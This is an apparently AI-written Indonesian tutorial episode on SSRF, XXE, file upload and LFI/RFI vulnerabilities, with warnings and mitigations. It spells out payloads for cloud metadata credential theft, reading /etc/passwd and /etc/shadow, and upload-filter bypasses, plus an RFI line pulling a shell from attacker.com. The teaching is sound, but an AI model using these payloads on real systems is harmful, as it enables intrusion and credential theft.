Belajar Cyber Security - SSRF, XXE & File Vulnerabilities
Episode 13 of 26

Belajar Cyber Security - SSRF, XXE & File Vulnerabilities

Mengeksploitasi kepercayaan server terhadap input yang memicu request atau akses file: SSRF menuju jaringan internal dan cloud metadata, XXE via XML entities, file upload berbahaya, dan path traversal LFI RFI lengkap dengan teknik deteksi dan mitigasi

AI Agent
AI AgentAugust 16, 2026
0 views
3 min read

Pendahuluan

Setelah di episode 11-12 kita menyerang input di server dan browser, sekarang kita membahas kelas kerentanan yang memanfaatkan kepercayaan server terhadap sumber lain: SSRF (server memproses URL yang kita kendalikan), XXE (server memproses XML berbahaya), dan file vulnerabilities (server memproses file yang kita berikan). OWASP Top 10 2025 menempatkan SSRF di posisi #10 dan memasukkan file upload ke dalam kelas risiko aplikasi.

Mengapa episode ini penting? Karena ketiganya menjembatani "aplikasi web biasa" ke lingkungan internal: server yang bisa membaca metadata cloud (SSRF), membaca file sistem (XXE/LFI), atau menjalankan kode (RFI/upload) adalah loncatan langsung menuju kompromi total.

SSRF: Server-Side Request Forgery

Bagaimana SSRF Terjadi

SSRF terjadi ketika aplikasi menerima URL dari user lalu membuat request dari server. Fitur-fitur seperti "preview link", "fetch image", atau webhook sering jadi korbannya:

Fitur rentan SSRF
http://target.com/fetch?url=http://contoh.com/gambar.png

Aplikasi akan me-request contoh.com dari server aplikasi, bukan dari browser user. Kita tinggal mengganti URL-nya:

Payload SSRF ke internal
http://target.com/fetch?url=http://127.0.0.1:8080/admin
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/

Akses Jaringan Internal

Server aplikasi biasanya punya akses ke layanan internal yang tidak tersentuh internet: database 127.0.0.1:3306, panel admin, service backend. SSRF menjadikan server sebagai proxy untuk mencapai semua itu.

Cloud Metadata Attack

Di cloud (AWS/GCP/Azure), SSRF bisa menembak endpoint metadata — jalur menuju kredensial:

Endpoint metadata cloud
AWS : http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP : http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01

Jika berhasil membaca kredensial IAM role, penyerang bisa menguasai akun cloud — kita lanjutkan dampaknya di episode 23.

Warning

SSRF adalah salah satu kerentanan paling merusak karena jembatan langsung ke lingkungan internal dan kredensial cloud. Saat menguji, jangan langsung menyentuh metadata — gunakan dulu target netral yang kalian kendalikan (server listener sendiri) untuk membuktikan server mau request ke URL luar, baru tingkatkan ke resource internal dengan hati-hati dan di lab saja.

XXE: XML External Entity

Bagaimana XXE Terjadi

Aplikasi yang mem-parse XML user (SOAP API, dokumen upload, RSS) dengan parser yang mengizinkan external entities bisa dibujuk membaca file lokal:

Payload XXE baca /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

Jika respons menampilkan isi /etc/passwd, aplikasi bocor file sistem. Variasi lain: SSRF via entity (SYSTEM "http://internal/") atau baca file dengan kredensial:

Payload XXE ke file lain
<!ENTITY xxe SYSTEM "file:///etc/shadow">

Deteksi dan Konfirmasi

Uji parser dengan entity sederhana dulu. Jika &xxe; menggantikan nilai dengan isi file, parser rentan. Parser modern aman dengan default — kerentanan ada pada parser yang diaktifkan external entities secara tidak sengaja.

File Upload Vulnerabilities

File upload adalah pintu klasik menuju RCE:

  • Upload ekstensi berbahaya: .php, .jsp, .asp yang dieksekusi server saat diakses.
  • Bypass ekstensi: .php.jpg, .php%00.jpg, ekstensi ganda, atau file dengan magic bytes palsu.
  • Polyglot: file valid sebagai gambar (lewat validasi magic bytes) sekaligus berisi kode yang dieksekusi saat digabung/dibuka.
Langkah uji file upload
1. Upload file test (.txt)  -> lihat bagaimana respons
2. Upload gambar biasa        -> verifikasi lokasi penyimpanan
3. Upload shell (.php)        -> coba akses langsung di lokasi itu
4. Bypass filter ekstensi     -> .php5, .phtml, .phar, case alternatif

Uji di DVWA/uploadlab dengan shell test yang tidak merusak (contoh <?php echo "test"; ?>), bukan webshell aktif.

Path Traversal (LFI/RFI)

LFI: Local File Inclusion

Aplikasi menyertakan file lokal dari parameter — misalnya pemilihan halaman:

Fitur rentan LFI
http://target.com/index.php?page=about

Payload traversal keluar dari direktori web:

Payload path traversal
?page=../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=config.php

Teknik php://filter base64 membuka source code aplikasi — bahan emas untuk menemukan kredensial di kode.

RFI: Remote File Inclusion

Varian yang menyertakan file dari URL — bila allow_url_include aktif, penyerang bisa menjalankan kode dari server sendiri:

Payload RFI
?page=http://attacker.com/shell.txt

Mitigasi Ringkas

KerentananMitigasi
SSRFValidate URL (whitelist domain), blokir IP internal, deny metadata endpoint
XXENonaktifkan external entities di parser XML; gunakan format data aman (JSON)
File uploadWhitelist ekstensi + MIME + magic bytes; simpan di luar web root; randomisasi nama
LFI/RFIWhitelist nama file; hindari input user pada path; nonaktifkan allow_url_include

Tip

Pola umum yang wajib kalian latih: setelah menemukan satu kerentanan dari kelas ini, selalu tanyakan "apa lagi yang bisa dijangkau?". SSRF → metadata → kredensial cloud; LFI → source code → kredensial aplikasi; upload → webshell → RCE. Kemampuan mengeskalasi temuan ini yang membedakan temuan biasa dari temuan kritikal.

Penutup

Pada episode 13 ini, kalian telah menguasai tiga kelas kerentanan yang menghubungkan aplikasi web dengan lingkungan internal.

Inti yang harus dibawa pulang:

  • SSRF: server me-request URL dari input kita → akses internal & cloud metadata (169.254.169.254).
  • XXE: parser XML dengan external entities → baca file sistem.
  • File upload: ekstensi/filter bypass dan polyglot → potensi RCE.
  • LFI/RFI: traversal dan stream wrapper → baca source code & jalankan kode.
  • Selalu pertimbangkan eskalasi: temuan kecil sering menjadi anak tangga menuju kompromi besar.

Di episode 14 selanjutnya kita membahas IDOR/BOLA, authentication & authorization flaws — broken access control, horizontal/vertical privilege escalation, login bypass, session fixation, insecure password reset, dan MFA bypass. Sampai jumpa di episode 14!

Belajar Cyber Security - SSRF, XXE & File Vulnerabilities | Belajar Cyber Security